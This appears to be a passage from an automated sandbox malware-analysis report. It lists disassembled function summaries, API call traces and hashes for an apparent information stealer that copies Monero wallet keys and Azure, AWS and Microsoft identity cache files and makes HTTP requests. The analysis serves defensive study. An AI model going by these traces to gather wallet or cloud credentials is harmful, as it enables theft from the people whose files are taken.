Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 7d99cc03c3fa549d5fdd6ac21b9b0eeb1139479959416dba88809b80d3247b1b
Instruction ID: b1348f3b141e85f6cc10c373dc0fa7d241e2ba97f8a7e6bf3c3d7df85e5a9ff2
Opcode Fuzzy Hash: 7d99cc03c3fa549d5fdd6ac21b9b0eeb1139479959416dba88809b80d3247b1b
Instruction Fuzzy Hash: 7B12BE71920128AAEB15FBA4DC95FEEB378FF14700F50419AF10662091EF746A4ACF76

Function 00D7CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D88B60: GetSystemTime.KERNEL32(00D90E1A,01B0E290,00D905AE,?,?,00D713F9,?,0000001A,00D90E1A,00000000,?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D88B86

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D7CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D7D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00D7D0CE
lstrcat.KERNEL32(?,00000000), ref: 00D7D208
lstrcat.KERNEL32(?,00D91478), ref: 00D7D217
lstrcat.KERNEL32(?,00000000), ref: 00D7D22A
lstrcat.KERNEL32(?,00D9147C), ref: 00D7D239
lstrcat.KERNEL32(?,00000000), ref: 00D7D24C
lstrcat.KERNEL32(?,00D91480), ref: 00D7D25B
lstrcat.KERNEL32(?,00000000), ref: 00D7D26E
lstrcat.KERNEL32(?,00D91484), ref: 00D7D27D
lstrcat.KERNEL32(?,00000000), ref: 00D7D290
lstrcat.KERNEL32(?,00D91488), ref: 00D7D29F
lstrcat.KERNEL32(?,00000000), ref: 00D7D2B2
lstrcat.KERNEL32(?,00D9148C), ref: 00D7D2C1
lstrcat.KERNEL32(?,00000000), ref: 00D7D2D4
lstrcat.KERNEL32(?,00D91490), ref: 00D7D2E3

Part of subcall function 00D8A820: lstrlen.KERNEL32(00D74F05,?,?,00D74F05,00D90DDE), ref: 00D8A82B
Part of subcall function 00D8A820: lstrcpy.KERNEL32(00D90DDE,00000000), ref: 00D8A885

lstrlen.KERNEL32(?), ref: 00D7D32A
lstrlen.KERNEL32(?), ref: 00D7D339

Part of subcall function 00D8AA70: StrCmpCA.SHLWAPI(01B089A0,00D7A7A7,?,00D7A7A7,01B089A0), ref: 00D8AA8F

DeleteFileA.KERNEL32(00000000), ref: 00D7D3B4

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 844986191dcb3f9f8d6b4718ef030d794a5e137f7d494d8eb379e2cb481551e2
Instruction ID: 6b4ebe01d5024e8d03e0138fc27381c02681292d4593cb3741546305ded08278
Opcode Fuzzy Hash: 844986191dcb3f9f8d6b4718ef030d794a5e137f7d494d8eb379e2cb481551e2
Instruction Fuzzy Hash: B5E12B71910119ABDB08FBA4DD96EEE7379EF14300F50415AF106A6091EE39AA0ADF72

Function 00D88320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

RegOpenKeyExA.KERNEL32(00000000,01B0B5D0,00000000,00020019,00000000,00D905B6), ref: 00D883A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D88426
wsprintfA.USER32 ref: 00D88459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00D8847B
RegCloseKey.ADVAPI32(00000000), ref: 00D8848C
RegCloseKey.ADVAPI32(00000000), ref: 00D88499

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Strings

?, xrefs: 00D8837A
- , xrefs: 00D885A3
%s\%s, xrefs: 00D8844D

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 485ce96e5b78e31a192b011e76c3897bd91c5cc4c6cbd73f7bf6a52084ab9b1d
Instruction ID: 42fc6775481e5c56a3a3fc98b497c6e4f01810f0bb68bf6489382ad54148e249
Opcode Fuzzy Hash: 485ce96e5b78e31a192b011e76c3897bd91c5cc4c6cbd73f7bf6a52084ab9b1d
Instruction Fuzzy Hash: C981EB7191011CABEB24EB54CC95FEA77B8FF48700F508299E109A6140DF75AB85DFB1

Function 00D76280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D74839
Part of subcall function 00D747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D74849

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

InternetOpenA.WININET(00D90DFE,00000001,00000000,00000000,00000000), ref: 00D762E1
StrCmpCA.SHLWAPI(?,01B0F3D8), ref: 00D76303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D76335
HttpOpenRequestA.WININET(00000000,GET,?,01B0EA68,00000000,00000000,00400100,00000000), ref: 00D76385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D763BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D763D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00D763FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D7646D
InternetCloseHandle.WININET(00000000), ref: 00D764EF
InternetCloseHandle.WININET(00000000), ref: 00D764F9
InternetCloseHandle.WININET(00000000), ref: 00D76503

Strings

ERROR, xrefs: 00D76407
GET, xrefs: 00D7637C
ERROR, xrefs: 00D764C9

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 65df12586c2c24cb1027e469369fc4327019e2408f712945863f779a3fa386fe
Instruction ID: fb57cfed42551d75595799e6dbad5509ebdb1b6995fbfbaeb1bf74ac34e4354a
Opcode Fuzzy Hash: 65df12586c2c24cb1027e469369fc4327019e2408f712945863f779a3fa386fe
Instruction Fuzzy Hash: 8A711F71A00218ABEB14EFA4DC85FEE7774FB44700F108199F5096B590EBB4AA85DF61

Function 00D85510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A820: lstrlen.KERNEL32(00D74F05,?,?,00D74F05,00D90DDE), ref: 00D8A82B
Part of subcall function 00D8A820: lstrcpy.KERNEL32(00D90DDE,00000000), ref: 00D8A885

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D85644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D856A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D85857

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Part of subcall function 00D851F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D85228

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D852C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D85318
Part of subcall function 00D852C0: lstrlen.KERNEL32(00000000), ref: 00D8532F
Part of subcall function 00D852C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00D85364
Part of subcall function 00D852C0: lstrlen.KERNEL32(00000000), ref: 00D85383
Part of subcall function 00D852C0: lstrlen.KERNEL32(00000000), ref: 00D853AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D8578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00D85940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00D85A0C
Sleep.KERNEL32(0000EA60), ref: 00D85A1B

Strings

ERROR, xrefs: 00D8577D
ERROR, xrefs: 00D85693
ERROR, xrefs: 00D85932
ERROR, xrefs: 00D85849
ERROR, xrefs: 00D859FE
ERROR, xrefs: 00D85636

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: c59b4fff4a0da322e92cacc8f6136ede10e972dce636f608bbc2e8ac6aa95c1a
Instruction ID: 8b206a0653655613e005596b36cac90e78b381b0e84168b2023bc5d72b9f7679
Opcode Fuzzy Hash: c59b4fff4a0da322e92cacc8f6136ede10e972dce636f608bbc2e8ac6aa95c1a
Instruction Fuzzy Hash: 96E12275910108AADB18FBB4EC96EED733CEF54300F508229B50656495EF38AF09DBB2

Function 00D84D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D88E0B

lstrcat.KERNEL32(?,00000000), ref: 00D84DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00D84DCD

Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D8492C
Part of subcall function 00D84910: FindFirstFileA.KERNEL32(?,?), ref: 00D84943

lstrcat.KERNEL32(?,00000000), ref: 00D84E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00D84E59

Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D90FDC), ref: 00D84971
Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D90FE0), ref: 00D84987
Part of subcall function 00D84910: FindNextFileA.KERNEL32(000000FF,?), ref: 00D84B7D
Part of subcall function 00D84910: FindClose.KERNEL32(000000FF), ref: 00D84B92

lstrcat.KERNEL32(?,00000000), ref: 00D84EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00D84EE5

Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D849B0
Part of subcall function 00D84910: StrCmpCA.SHLWAPI(?,00D908D2), ref: 00D849C5
Part of subcall function 00D84910: wsprintfA.USER32 ref: 00D849E2
Part of subcall function 00D84910: PathMatchSpecA.SHLWAPI(?,?), ref: 00D84A1E
Part of subcall function 00D84910: lstrcat.KERNEL32(?,01B0F3E8), ref: 00D84A4A
Part of subcall function 00D84910: lstrcat.KERNEL32(?,00D90FF8), ref: 00D84A5C
Part of subcall function 00D84910: lstrcat.KERNEL32(?,?), ref: 00D84A70
Part of subcall function 00D84910: lstrcat.KERNEL32(?,00D90FFC), ref: 00D84A82
Part of subcall function 00D84910: lstrcat.KERNEL32(?,?), ref: 00D84A96
Part of subcall function 00D84910: CopyFileA.KERNEL32(?,?,00000001), ref: 00D84AAC
Part of subcall function 00D84910: DeleteFileA.KERNEL32(?), ref: 00D84B31

Strings

msal.cache, xrefs: 00D84EF0
\.azure\, xrefs: 00D84DC1
*.*, xrefs: 00D84E64
Azure\.azure, xrefs: 00D84DD3
Azure\.aws, xrefs: 00D84E5F
\.aws\, xrefs: 00D84E4D
\.IdentityService\, xrefs: 00D84ED9
Azure\.IdentityService, xrefs: 00D84EEB
*.*, xrefs: 00D84DD8

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 3a0cf9f48d58ab71ee68fa80417c32423c363fa62759279fbbaf3bd69da52e5c
Instruction ID: 2a249426c88b27800adc9b3a117216efc3efa9615be3b8061d2a84c1a18f108e
Opcode Fuzzy Hash: 3a0cf9f48d58ab71ee68fa80417c32423c363fa62759279fbbaf3bd69da52e5c
Instruction Fuzzy Hash: 1A41837A9402096ADB64F760EC87FED3238AB64700F404594B249660C1FEB59BCD8BB2

Function 00D71310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D712A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D712B4
Part of subcall function 00D712A0: RtlAllocateHeap.NTDLL(00000000), ref: 00D712BB
Part of subcall function 00D712A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00D712D7
Part of subcall function 00D712A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D712F5
Part of subcall function 00D712A0: RegCloseKey.ADVAPI32(?), ref: 00D712FF

lstrcat.KERNEL32(?,00000000), ref: 00D7134F
lstrlen.KERNEL32(?), ref: 00D7135C
lstrcat.KERNEL32(?,.keys), ref: 00D71377

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D88B60: GetSystemTime.KERNEL32(00D90E1A,01B0E290,00D905AE,?,?,00D713F9,?,0000001A,00D90E1A,00000000,?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D88B86

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
